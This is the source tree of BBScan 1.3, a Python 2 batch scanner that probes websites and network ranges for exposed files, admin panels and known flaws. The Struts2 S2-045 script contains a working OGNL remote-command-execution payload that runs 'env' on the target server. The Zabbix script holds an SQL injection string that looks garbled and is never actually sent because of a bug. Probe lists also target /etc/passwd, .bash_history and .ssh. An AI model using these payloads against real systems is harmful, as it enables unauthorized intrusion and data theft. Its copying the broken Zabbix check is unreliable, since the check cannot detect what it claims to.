├── lib ├── __init__.py ├── connectionPool.py ├── report.py ├── cmdline.py └── common.py ├── report └── .gitignore ├── targets └── .gitignore ├── crawler_logs └── .gitignore ├── scripts ├── __init__.py ├── web_is_admin.py ├── webserver_nginx_apache_map_root.py ├── webserver_nginx_apache_map_home.py ├── webserver_java_web_inf.py ├── web_wordpress_backup_file.py ├── common_sensitive_folders.py ├── web_outlook_web_app.py ├── web_zabbix_jsrpc_sqli.py ├── web_discuz_backup_file.py ├── web_struts_s0245_remote_code_execution.py ├── common_scan_by_hostname_or_folder.py └── common_log_files.py ├── rules ├── disabled │ └── .gitignore ├── other.txt ├── pocs.txt ├── 5.possible_flash_xss.txt ├── black.list ├── white.list ├── 4.web_editors.txt ├── 3.phpinfo_and_test.txt ├── 1.common_set.txt └── 2.backup_files.txt ├── requirements.txt ├── dict ├── linux_root.txt ├── linux_home.txt └── java_web_inf.txt ├── .gitignore ├── README.md ├── LICENSE └── BBScan.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /report/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /targets/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /crawler_logs/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /scripts/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /rules/disabled/.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /rules/other.txt: -------------------------------------------------------------------------------- 1 | /file:///etc/passwd {tag="root:x:"} {root_only} -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | BeautifulSoup4>=4.3.2 2 | py2-ipaddress>=3.4.1 3 | dnspython>=1.15.0 4 | urllib3 5 | pymongo 6 | requests -------------------------------------------------------------------------------- /dict/linux_root.txt: -------------------------------------------------------------------------------- 1 | /etc/passwd {tag="root:x:"} 2 | /proc/meminfo {tag="MemTotal"} {status=200} {root_only} 3 | /etc/profile {tag="/etc/profile.d/*.sh"} {status=200} {root_only} -------------------------------------------------------------------------------- /rules/pocs.txt: -------------------------------------------------------------------------------- 1 | /javax.faces.resource.../WEB-INF/web.xml.jsf {status=200} {type="xml"} {tag="= 0: 10 | save_user_script_result(self, self.index_status, self.base_url + '/', 11 | 'Admin Site Found') 12 | break 13 | -------------------------------------------------------------------------------- /scripts/webserver_nginx_apache_map_root.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | ''' 3 | 在配置 Nginx 和 Apache 的时候错误的将目录映射到了 / 4 | 主要检测 /etc/passwd 5 | ''' 6 | 7 | from lib.common import save_user_script_result 8 | 9 | 10 | def do_check(self, prefix): 11 | if prefix != "/": return 12 | status, headers, html_doc =self._http_request('//etc/passwd') 13 | cur_content_type = headers.get('content-type', '') 14 | if html_doc.find("root:x:") >= 0: 15 | rules = self._load_rules("./dict/linux_root.txt") 16 | for rule in rules: 17 | full_url = prefix + rule[0] 18 | self._enqueue_request(prefix, full_url, rule) -------------------------------------------------------------------------------- /scripts/webserver_nginx_apache_map_home.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | ''' 3 | 在配置 Nginx 和 Apache 的时候错误的将目录映射到了 home 4 | 主要检测bash_history 5 | ''' 6 | 7 | from lib.common import save_user_script_result 8 | 9 | 10 | def do_check(self, prefix): 11 | if prefix != "/": return 12 | status, headers, html_doc =self._http_request('/.bash_history') 13 | cur_content_type = headers.get('content-type', '') 14 | if status == 206 and cur_content_type.find("application/octet-stream") >= 0: 15 | rules = self._load_rules("./dict/linux_home.txt") 16 | for rule in rules: 17 | full_url = prefix + rule[0] 18 | self._enqueue_request(prefix, full_url, rule) -------------------------------------------------------------------------------- /rules/5.possible_flash_xss.txt: -------------------------------------------------------------------------------- 1 | /ZeroClipboard.swf {status=206} {type="flash"} 2 | /zeroclipboard.swf {status=206} {type="flash"} 3 | /swfupload.swf {status=206} {type="flash"} 4 | /swfupload/swfupload.swf {status=206} {type="flash"} 5 | /open-flash-chart.swf {status=206} {type="flash"} 6 | /uploadify.swf {status=206} {type="flash"} 7 | /flowplayer.swf {status=206} {type="flash"} 8 | /Jplayer.swf {status=206} {type="flash"} 9 | /extjs/resources/charts.swf {status=206} {type="flash"} -------------------------------------------------------------------------------- /scripts/webserver_java_web_inf.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | ''' 3 | Nginx 在解析静态文件时,把 web-inf 目录映射进去,若没有做 nginx 相关安全配置或由 4 | 于 nginx 自身缺陷影响,将导致通过 nginx 访问到 tomcat 的 web-inf 目录。 5 | ''' 6 | 7 | from lib.common import save_user_script_result 8 | 9 | 10 | def do_check(self, prefix): 11 | if prefix != "/": return 12 | #if self.lang != 'java': return 13 | rules = self._load_rules("./dict/java_web_inf.txt") 14 | 15 | rule = rules[0] 16 | full_url = prefix.rstrip('/') + rule[0] 17 | url_description = {'prefix': prefix, 'full_url': full_url} 18 | item = (url_description, rule[1], rule[2], rule[3], rule[4], rule[5], rule[6], rule[7]) 19 | valid_item, status, headers, html_doc = self.apply_rules(item) 20 | 21 | if valid_item: 22 | for rule in rules: 23 | full_url = prefix + rule[0] 24 | self._enqueue_request(prefix, full_url, rule) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | .idea/ 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | *.html 59 | -------------------------------------------------------------------------------- /rules/black.list: -------------------------------------------------------------------------------- 1 | # text to exclude in html doc 2 | # regex can be used 3 | # 匹配的条目将被丢弃 4 | 5 | 6 | {text="/404/search_children.js"} 7 | 8 | {text="qzone.qq.com/gy/404/data.js"} 9 | 10 | {text="访问的页面不存在"} 11 | 12 | {text="404 Not Found"} 13 | 14 | {text="

The server encountered an internal error or"} 15 | 16 | {text="http://www.qq.com/babygohome/?pgv_ref=404"} 17 | 18 | {text="

410 Gone

"} 19 | 20 | {regex_text="controller.*not found"} 21 | 22 | {text="404 Page Not Found"} 23 | 24 | {text="You do not have permission to get URL"} 25 | 26 | {text="403 Forbidden"} 27 | 28 | {text="

Whoops, looks like something went wrong.

"} 29 | 30 | {text="invalid service url:"} 31 | 32 | {text="You don't have permission to access this page"} 33 | 34 | {text="当前页面不存在或已删除"} 35 | 36 | {text="No direct script access allowed"} 37 | 38 | {text="args not correct"} 39 | 40 | {text="Controller Not Found"} 41 | 42 | {text="url error"} 43 | 44 | {text="Bad Request"} 45 | 46 | {text="http://appmedia.qq.com/media/flcdn/404.png"} 47 | -------------------------------------------------------------------------------- /rules/white.list: -------------------------------------------------------------------------------- 1 | # text to search in doc 2 | # regex can be used 3 | 4 | # 匹配的条目将被立即标记命中 5 | 6 | 7 | {text="Index of"} 8 | 9 | {text="<title>phpMyAdmin"} 10 | 11 | {text="allow_url_fopen"} 12 | 13 | {text="MemAdmin"} 14 | 15 | {text="This is the default start page for the Resin server"} 16 | 17 | # {text="Apache Tomcat"} 18 | 19 | {text="request_uri"} 20 | 21 | {text="Login to Cacti"} 22 | 23 | {text="Zabbix"} 24 | 25 | {text="Dashboard [Jenkins]"} 26 | 27 | {text="Graphite Browser"} 28 | 29 | {text="http://www.atlassian.com/software/jira"} 30 | 31 | # {regex_text="= 0: 16 | url_lst = ['/wp-config.php.inc', 17 | '/wp-config.inc', 18 | '/wp-config.bak', 19 | '/wp-config.php~', 20 | '/.wp-config.php.swp', 21 | '/wp-config.php.bak'] 22 | for _url in url_lst: 23 | status, headers, html_doc = self._http_request(_url) 24 | print _url 25 | if status == 200 or status == 206: 26 | if html_doc.find('= 0: 27 | save_user_script_result(self, status, self.base_url + _url, 'WordPress Backup File Found') 28 | -------------------------------------------------------------------------------- /lib/connectionPool.py: -------------------------------------------------------------------------------- 1 | import urllib3 2 | import socket 3 | import struct 4 | import logging 5 | from urllib3.packages.six.moves.queue import Empty 6 | 7 | 8 | urllib3.disable_warnings() 9 | logging.getLogger('requests.packages.urllib3.connectionpool').setLevel(logging.CRITICAL) 10 | 11 | 12 | class HTTPConnPool(urllib3.HTTPConnectionPool): 13 | def close(self): 14 | """ 15 | Close all pooled connections and disable the pool. 16 | """ 17 | # Disable access to the pool 18 | old_pool, self.pool = self.pool, None 19 | 20 | try: 21 | while True: 22 | conn = old_pool.get(block=False) 23 | if conn: 24 | conn.sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 25 | conn.close() 26 | except Empty: 27 | pass 28 | 29 | 30 | class HTTPSConnPool(urllib3.HTTPSConnectionPool): 31 | def close(self): 32 | """ 33 | Close all pooled connections and disable the pool. 34 | """ 35 | # Disable access to the pool 36 | old_pool, self.pool = self.pool, None 37 | 38 | try: 39 | while True: 40 | conn = old_pool.get(block=False) 41 | if conn: 42 | conn.sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 43 | conn.close() 44 | except Empty: 45 | pass -------------------------------------------------------------------------------- /scripts/common_sensitive_folders.py: -------------------------------------------------------------------------------- 1 | 2 | from lib.common import save_user_script_result 3 | 4 | folders = """ 5 | /admin 6 | /output 7 | /tmp 8 | /temp 9 | /test 10 | /conf 11 | /config 12 | /db 13 | /database 14 | /install 15 | /open-flash-chart 16 | /jPlayer 17 | /jwplayer 18 | /extjs 19 | /boss 20 | /ckeditor 21 | /cgi-bin 22 | /.ssh 23 | /ckfinder 24 | /.git 25 | /.svn 26 | /editor 27 | /bak 28 | /fck 29 | /.idea 30 | /swfupload 31 | /kibana 32 | /monitor 33 | /htmedit 34 | /htmleditor 35 | /ueditor 36 | /resin-doc 37 | /resin-admin 38 | /tomcat 39 | /zabbix 40 | /WEB-INF 41 | /WEB-INF/classes 42 | /manage 43 | /manager 44 | /test 45 | /temp 46 | /tmp 47 | /cgi-bin 48 | /deploy 49 | /backup 50 | """ 51 | 52 | 53 | def do_check(self, url): 54 | if url != '/' or not self.conn_pool or self._404_status == 301: 55 | return 56 | 57 | 58 | _folders = folders.split() 59 | 60 | for _url in _folders: 61 | status, headers, html_doc = self._http_request(_url) 62 | 63 | if status in (301, 302): 64 | location = headers.get('location', '') 65 | if location.startswith(self.base_url + _url + '/') or location.startswith(_url + '/'): 66 | save_user_script_result(self, status, self.base_url + _url, 67 | 'Possible Sensitive Folder Found') 68 | 69 | if status == 206 and self._404_status != 206: 70 | save_user_script_result(self, status, self.base_url + _url, 71 | 'Possible Sensitive File Found') 72 | 73 | -------------------------------------------------------------------------------- /scripts/web_outlook_web_app.py: -------------------------------------------------------------------------------- 1 | # Exchange Outlook Web APP 2 | # /owa/ {status=302} {tag="/owa/auth/logon.aspx"} 3 | 4 | import httplib 5 | from lib.common import save_user_script_result 6 | 7 | 8 | def do_check(self, url): 9 | if url == '/' and self.conn_pool and self.server == 'iis': 10 | if self.index_status == 302 and self.index_headers.get('location', '').lower() == 'https://%s/owa' % self.host: 11 | save_user_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 12 | return 13 | 14 | status, headers, html_doc = self._http_request('/ews/') 15 | 16 | if status == 302: 17 | redirect_url = headers.get('location', '') 18 | if redirect_url == 'https://%shttp://%s/ews/' % (self.host, self.host): 19 | save_user_script_result(self, 302, 'https://%s' % self.host, 'OutLook Web APP Found') 20 | return 21 | if redirect_url == 'https://%s/ews/' % self.host: 22 | try: 23 | conn = httplib.HTTPSConnection(self.host) 24 | conn.request('HEAD', '/ews') 25 | if conn.getresponse().status == 401: 26 | save_user_script_result(self, 401, redirect_url, 'OutLook Web APP Found') 27 | conn.close() 28 | except: 29 | pass 30 | return 31 | 32 | elif status == 401: 33 | if headers.get('Server', '').find('Microsoft-IIS') >= 0: 34 | save_user_script_result(self, 401, self.base_url + '/ews/', 'OutLook Web APP Found') 35 | return 36 | -------------------------------------------------------------------------------- /rules/3.phpinfo_and_test.txt: -------------------------------------------------------------------------------- 1 | 2 | /phpinfo.php {tag="allow_url_fopen"} {status=200} {type="html"} {lang="php"} 3 | /info.php {tag="allow_url_fopen"} {status=200} {type="html"} {lang="php"} 4 | /pi.php {tag="allow_url_fopen"} {status=200} {type="html"} {lang="php"} 5 | /i.php {status=200} {type="html"} {lang="php"} 6 | /php.php {status=200} {type="html"} {lang="php"} 7 | /mysql.php {status=200} {type="html"} {lang="php"} 8 | /sql.php {status=200} {type="html"} {lang="php"} 9 | /shell.php {status=200} {type="html"} {lang="php"} 10 | /apc.php {status=200} {tag="APC INFO"} {lang="php"} 11 | 12 | 13 | /test.php {status=200} {type="html"} {lang="php"} 14 | /test2.php {status=200} {type="html"} {lang="php"} 15 | /test.html {status=200} {type="html"} 16 | /test2.html {status=200} {type="html"} 17 | /test.txt {status=200} {type="text/plain"} 18 | /test2.txt {status=200} {type="text/plain"} 19 | /debug.php {status=200} {type="html"} {lang="php"} 20 | /a.php {status=200} {type="html"} {lang="php"} 21 | /b.php {status=200} {type="html"} {lang="php"} 22 | /t.php {status=200} {type="html"} {lang="php"} 23 | 24 | /x.php {status=200} {type="html"} {lang="php"} 25 | /1.php {status=200} {type="html"} {lang="php"} 26 | 27 | 28 | # Test CGI {tag="SERVER_NAME"} 29 | #/test.cgi {status=200} {type="html"} {root_only} 30 | #/test-cgi {status=200} {type="html"} {root_only} 31 | #/cgi-bin/test-cgi {status=200} {type="html"} {root_only} 32 | 33 | -------------------------------------------------------------------------------- /scripts/web_zabbix_jsrpc_sqli.py: -------------------------------------------------------------------------------- 1 | # Wordpress 2 | # /wp-config.php.inc {status=200} {tag="<?php"} 3 | # /wp-login.php {tag="user_login"} {status=200} 4 | # /wp-config.inc {status=200} {tag="<?php"} 5 | # /wp-config.bak {status=200} {tag="<?php"} 6 | # /wp-config.php~ {status=200} {tag="<?php"} 7 | # /.wp-config.php.swp {status=200} {tag="<?php"} 8 | # /wp-config.php.bak {status=200} {tag="<?php"} 9 | 10 | from lib.common import save_user_script_result 11 | 12 | payload = '?sid=0bcd4ade648214dc&type=9&method=screen.get&tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim%20estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi%20story.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20user())x%20from%20information_schema.character_sets%20group%20by%20x)y)&updateProfil%20e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=%2017&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&%20mark_color=1' 13 | mark = "Duplicate entry" 14 | 15 | def do_check(self, url): 16 | if url == '/' and self.conn_pool and self.lang == 'php': 17 | url_lst = ['/zabbix/jsrpc.php', 18 | '/jsrpc.php'] 19 | for _url in url_lst: 20 | status, headers, html_doc = self._http_request(_url) 21 | if status == 200 or status == 206: 22 | u = _url + payload 23 | status, headers, html_doc = self._http_request(_url) 24 | if mark in html_doc: 25 | save_user_script_result(self, status, self.base_url + u, 'Zabbix jsrpc SQLi Found') 26 | break 27 | -------------------------------------------------------------------------------- /lib/report.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | # report template 3 | 4 | 5 | # template for html 6 | html_general = """ 7 | <html> 8 | <head> 9 | <title>BBScan Report 10 | 11 | 22 | 23 | 24 |

Please consider to contribute some rules to make BBScan more efficient. BBScan v 1.3

25 |

Current Scan finished in ${cost_min} min ${cost_seconds} seconds.

26 | ${content} 27 | 28 | 29 | """ 30 | 31 | html_host = """ 32 |

${host}

33 | 36 | """ 37 | 38 | html_list_item = """ 39 |
  • ${status} [${title}] ${url}
  • 40 | """ 41 | 42 | html = { 43 | 'general': html_general, 44 | 'host': html_host, 45 | 'list_item': html_list_item, 46 | 'suffix': '.html' 47 | } 48 | 49 | 50 | # template for markdown 51 | markdown_general = """ 52 | # BBScan Report 53 | Please consider to contribute some rules to make BBScan more efficient. 54 | Version:v 1.3 55 | TimeUsage: ${cost_min} min ${cost_seconds} seconds 56 | ${content} 57 | """ 58 | 59 | markdown_host = """ 60 | ## ${host} 61 | ${list} 62 | """ 63 | 64 | markdown_list_item = """* ${status} ${title} ${url} 65 | """ 66 | 67 | markdown = { 68 | 'general': markdown_general, 69 | 'host': markdown_host, 70 | 'list_item': markdown_list_item, 71 | 'suffix': '.md' 72 | } 73 | 74 | 75 | # summary 76 | template = { 77 | 'html': html, 78 | 'markdown': markdown 79 | } 80 | -------------------------------------------------------------------------------- /scripts/web_discuz_backup_file.py: -------------------------------------------------------------------------------- 1 | # Discuz 2 | #/config/config_ucenter.php.bak {status=200} {tag="= 0 or \ 16 | str(self.index_headers).find('_saltkey=') > 0: 17 | 18 | url_lst = ['/config/config_ucenter.php.bak', 19 | '/config/.config_ucenter.php.swp', 20 | '/config/.config_global.php.swp', 21 | '/config/config_global.php.1', 22 | '/uc_server/data/config.inc.php.bak', 23 | '/config/config_global.php.bak', 24 | '/include/config.inc.php.tmp'] 25 | 26 | for _url in url_lst: 27 | status, headers, html_doc = self._http_request(_url) 28 | if status == 200 or status == 206: 29 | if html_doc.find('= 0: 30 | save_user_script_result(self, status, self.base_url + _url, 'Discuz Backup File Found') 31 | 32 | # getcolor DOM XSS 33 | status, headers, html_doc =self._http_request('/static/image/admincp/getcolor.htm') 34 | if html_doc.find("if(fun) eval('parent.'+fun+'") > 0: 35 | save_user_script_result(self, status, self.base_url + '/static/image/admincp/getcolor.htm', 36 | 'Discuz getcolor DOM XSS') 37 | -------------------------------------------------------------------------------- /scripts/web_struts_s0245_remote_code_execution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.common import save_user_script_result 5 | 6 | 7 | def do_check(self, url): 8 | if not self.conn_pool: 9 | return 10 | url = "" 11 | for a in self.index_a_urls: 12 | if a.endswith('.action') or a.endswith('.do'): 13 | url = a 14 | break 15 | if not url: 16 | return 17 | 18 | cmd = 'env' 19 | headers = {} 20 | headers['User-Agent'] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) " \ 21 | "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 22 | headers['Content-Type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ 23 | "(#_memberAccess?(#_memberAccess=#dm):" \ 24 | "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ 25 | "(#ognlUtil=#container.getInstance" \ 26 | "(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ 27 | "(#ognlUtil.getExcludedPackageNames().clear())." \ 28 | "(#ognlUtil.getExcludedClasses().clear())." \ 29 | "(#context.setMemberAccess(#dm))))." \ 30 | "(#cmd='" + \ 31 | cmd + \ 32 | "')." \ 33 | "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase()." \ 34 | "contains('win')))." \ 35 | "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ 36 | "(#p=new java.lang.ProcessBuilder(#cmds))." \ 37 | "(#p.redirectErrorStream(true)).(#process=#p.start())." \ 38 | "(#ros=(@org.apache.struts2.ServletActionContext@getResponse()." \ 39 | "getOutputStream()))." \ 40 | "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ 41 | "(#ros.flush())}" 42 | data = '--40a1f31a0ec74efaa46d53e9f4311353\r\n' \ 43 | 'Content-Disposition: form-data; name="image1"\r\n' \ 44 | 'Content-Type: text/plain; charset=utf-8\r\n\r\ntest\r\n--40a1f31a0ec74efaa46d53e9f4311353--\r\n' 45 | try: 46 | html = self.conn_pool.urlopen(method='POST', url=self.base_url + '/' + url, body=data, headers=headers, retries=1).data 47 | if html.find('LOGNAME=') >= 0: 48 | save_user_script_result(self, '', self.base_url + '/' + url, 'Struts2 s02-45 Remote Code Execution') 49 | except Exception as e: 50 | pass 51 | -------------------------------------------------------------------------------- /scripts/common_scan_by_hostname_or_folder.py: -------------------------------------------------------------------------------- 1 | # /{hostname_or_folder}.zip {status=206} {type="application/octet-stream"} {root_only} 2 | # /{hostname_or_folder}.rar {status=206} {type="application/octet-stream"} {root_only} 3 | # /{hostname_or_folder}.tar.gz {status=206} {type="application/octet-stream"} {root_only} 4 | # /{hostname_or_folder}.tar.bz2 {status=206} {type="application/octet-stream"} {root_only} 5 | # /{hostname_or_folder}.tgz {status=206} {type="application/octet-stream"} {root_only} 6 | # /{hostname_or_folder}.7z {status=206} {type="application/octet-stream"} {root_only} 7 | # /{hostname_or_folder}.log {status=206} {type="application/octet-stream"} {root_only} 8 | # 9 | # /{sub}.zip {status=206} {type="application/octet-stream"} {root_only} 10 | # /{sub}.rar {status=206} {type="application/octet-stream"} {root_only} 11 | # /{sub}.tar.gz {status=206} {type="application/octet-stream"} {root_only} 12 | # /{sub}.tar.bz2 {status=206} {type="application/octet-stream"} {root_only} 13 | # /{sub}.tgz {status=206} {type="application/octet-stream"} {root_only} 14 | # /{sub}.7z {status=206} {type="application/octet-stream"} {root_only} 15 | # 16 | # /../{hostname_or_folder}.zip {status=206} {type="application/octet-stream"} 17 | # /../{hostname_or_folder}.rar {status=206} {type="application/octet-stream"} 18 | # /../{hostname_or_folder}.tar.gz {status=206} {type="application/octet-stream"} 19 | # /../{hostname_or_folder}.tar.bz2 {status=206} {type="application/octet-stream"} 20 | # /../{hostname_or_folder}.tgz {status=206} {type="application/octet-stream"} 21 | # /../{hostname_or_folder}.7z {status=206} {type="application/octet-stream"} 22 | # /../{hostname_or_folder}.log {status=206} {type="application/octet-stream"} 23 | 24 | from lib.common import save_user_script_result 25 | 26 | 27 | def do_check(self, url): 28 | if not self.conn_pool or self.rewrite: 29 | return 30 | extensions = ['.zip', '.rar', '.tar.gz', '.tar.bz2', '.tgz', '.7z', '.log'] 31 | 32 | if url == '/' and self.domain_sub: 33 | file_names = [self.host.split(':')[0], self.domain_sub] 34 | for name in file_names: 35 | for ext in extensions: 36 | status, headers, html_doc = self._http_request('/' + name + ext) 37 | if status == 206 and headers.get('content-type', '').find('application/octet-stream') >= 0: 38 | save_user_script_result(self, status, self.base_url + '/' + name + ext, 39 | 'Possible Data File Found') 40 | 41 | elif url != '/': 42 | # sub folders like /aaa/bbb/ 43 | folder_name = url.split('/')[-1] 44 | url_prefix = url[: -len(folder_name)] 45 | for ext in extensions: 46 | status, headers, html_doc = self._http_request(url_prefix + folder_name + ext) 47 | if status == 206 and headers.get('content-type', '').find('application/octet-stream') >= 0: 48 | save_user_script_result(self, status, self.base_url + url_prefix + folder_name + ext, 49 | 'Possible Data File Found') 50 | -------------------------------------------------------------------------------- /dict/java_web_inf.txt: -------------------------------------------------------------------------------- 1 | # Java web 2 | 3 | /WEB-INF/web.xml {tag="= 0: 51 | continue 52 | if status == 206 and headers.get('content-type', '').find('application/octet-stream') >= 0: 53 | save_user_script_result(self, status, self.base_url + '/' + log_folder + '/' + _url, 54 | 'Log File Found') 55 | 56 | for log_folder in folders: 57 | for _url in ['log.txt', 'logs.txt']: 58 | status, headers, html_doc = self._http_request('/' + log_folder + '/' + _url) 59 | # print '/' + log_folder + '/' + _url 60 | if status == 206 and headers.get('content-type', '').find('text/plain') >= 0: 61 | save_user_script_result(self, status, self.base_url + '/' + log_folder + '/' + _url, 62 | 'Log File Found') 63 | -------------------------------------------------------------------------------- /lib/cmdline.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Parse command line arguments 4 | # 5 | 6 | 7 | import argparse 8 | import sys 9 | import os 10 | 11 | 12 | def parse_args(): 13 | parser = argparse.ArgumentParser(prog='BBScan', 14 | formatter_class=argparse.RawTextHelpFormatter, 15 | description='* A tiny Batch weB+ vulnerability Scanner. *\n' 16 | 'By LiJieJie (http://www.lijiejie.com)', 17 | usage='BBScan.py [options]') 18 | 19 | parser.add_argument('--host', metavar='HOST [HOST2 HOST3 ...]', type=str, default='', nargs='*', 20 | help='Scan several hosts from command line') 21 | 22 | parser.add_argument('-f', metavar='TargetFile', type=str, default='', 23 | help='Load new line delimited targets from TargetFile') 24 | 25 | parser.add_argument('-d', metavar='TargetDirectory', type=str, default='', 26 | help='Load all *.txt files from TargetDirectory') 27 | 28 | parser.add_argument('--crawler', metavar='TargetDirectory', type=str, default='', 29 | help='Load all *.log crawler files from TargetDirectory') 30 | 31 | parser.add_argument('--full', dest='full_scan', default=False, action='store_true', 32 | help='Process all sub directories.') 33 | 34 | parser.add_argument('-n', '--no-crawl', dest='no_crawl', default=False, action='store_true', 35 | help='No crawling, sub folders will not be processed.') 36 | 37 | parser.add_argument('-nn', '--no-check404', dest='no_check404', default=False, action='store_true', 38 | help='No HTTP 404 existence check') 39 | 40 | parser.add_argument('--scripts-only', dest='scripts_only', default=False, action='store_true', 41 | help='Scan with user scripts only') 42 | 43 | parser.add_argument('--no-scripts', dest='no_scripts', default=False, action='store_true', 44 | help='Disable user scripts scan') 45 | 46 | parser.add_argument('-p', metavar='PROCESS', type=int, default=30, 47 | help='Num of processes running concurrently, 30 by default') 48 | 49 | parser.add_argument('-t', metavar='THREADS', type=int, default=3, 50 | help='Num of scan threads for each scan process, 3 by default') 51 | 52 | parser.add_argument('--network', metavar='MASK', type=int, default=32, 53 | help='Scan all Target/MASK hosts, \nshould be an int between 24 and 31') 54 | 55 | parser.add_argument('--timeout', metavar='Timeout', type=int, default=20, 56 | help='Max scan minutes for each website, 20 by default') 57 | 58 | parser.add_argument('-nnn', '--no-browser', dest='no_browser', default=False, action='store_true', 59 | help='Do not view report with browser after scan finished') 60 | 61 | parser.add_argument('-md', default=False, action='store_true', 62 | help='Save scan report as markdown format') 63 | 64 | parser.add_argument('-v', action='version', version='%(prog)s 1.3 By LiJieJie (http://www.lijiejie.com)') 65 | 66 | if len(sys.argv) == 1: 67 | sys.argv.append('-h') 68 | 69 | args = parser.parse_args() 70 | check_args(args) 71 | return args 72 | 73 | 74 | def check_args(args): 75 | if not args.f and not args.d and not args.host and not args.crawler: 76 | msg = 'Args missing! One of following args should be specified \n ' \ 77 | '-f TargetFile \n ' \ 78 | '-d TargetDirectory \n ' \ 79 | '--crawler TargetDirectory \n ' \ 80 | '--host www.host1.com www.host2.com 8.8.8.8' 81 | print msg 82 | exit(-1) 83 | 84 | if args.f and not os.path.isfile(args.f): 85 | print 'TargetFile not found: %s' % args.f 86 | exit(-1) 87 | 88 | if args.d and not os.path.isdir(args.d): 89 | print 'TargetDirectory not found: %s' % args.f 90 | exit(-1) 91 | 92 | args.network = int(args.network) 93 | if not (24 <= args.network <= 32): 94 | print 'Network must be an integer between 24 and 31' 95 | exit(-1) 96 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BBScan 1.3 # 2 | 3 | **BBScan** is a tiny **B**atch we**B**+ vulnerability **Scan**ner. 4 | 5 | ## Requirements ## 6 | * BeautifulSoup4>=4.3.2 7 | * py2-ipaddress>=3.4.1 8 | * dnspython>=1.15.0 9 | * gevent>=1.2.1 10 | 11 | You can install required packages with pip 12 | 13 | pip install -r requirements.txt 14 | 15 | ## Usage ## 16 | 17 | usage: BBScan.py [options] 18 | 19 | * A tiny Batch weB+ vulnerability Scanner. * 20 | By LiJieJie (http://www.lijiejie.com) 21 | 22 | optional arguments: 23 | -h, --help show this help message and exit 24 | --host [HOST [HOST2 HOST3 ...] [HOST [HOST2 HOST3 ...] ...]] 25 | Scan several hosts from command line 26 | -f TargetFile Load new line delimited targets from TargetFile 27 | -d TargetDirectory Load all *.txt files from TargetDirectory 28 | --crawler TargetDirectory 29 | Load all *.log crawler files from TargetDirectory 30 | --full Process all sub directories. 31 | -n, --no-crawl No crawling, sub folders will not be processed. 32 | -nn, --no-check404 No HTTP 404 existence check 33 | --scripts-only Scan with user scripts only 34 | --no-scripts Disable user scripts scan 35 | -p PROCESS Num of processes running concurrently, 30 by default 36 | -t THREADS Num of scan threads for each scan process, 3 by default 37 | --network MASK Scan all Target/MASK hosts, 38 | should be an int between 24 and 31 39 | --timeout Timeout Max scan minutes for each website, 20 by default 40 | -nnn, --no-browser Do not view report with browser after scan finished 41 | -md Save scan report as markdown format 42 | -v show program's version number and exit 43 | 44 | 45 | **1. Scan several hosts from command line** 46 | 47 | python BBScan.py --host www.a.com www.b.com --browser 48 | 49 | **2. Scan www.target.com and all the other IPs under www.target.com/28** 50 | 51 | python BBScan.py --host www.target.com --network 28 --browser 52 | 53 | **3. Load newline delimited targets from file and scan** 54 | 55 | python BBScan.py -f wandoujia.com.txt 56 | 57 | **4. Load all targets from Directory(\*.txt file only) and scan** 58 | 59 | python BBScan.py -d targets/ 60 | 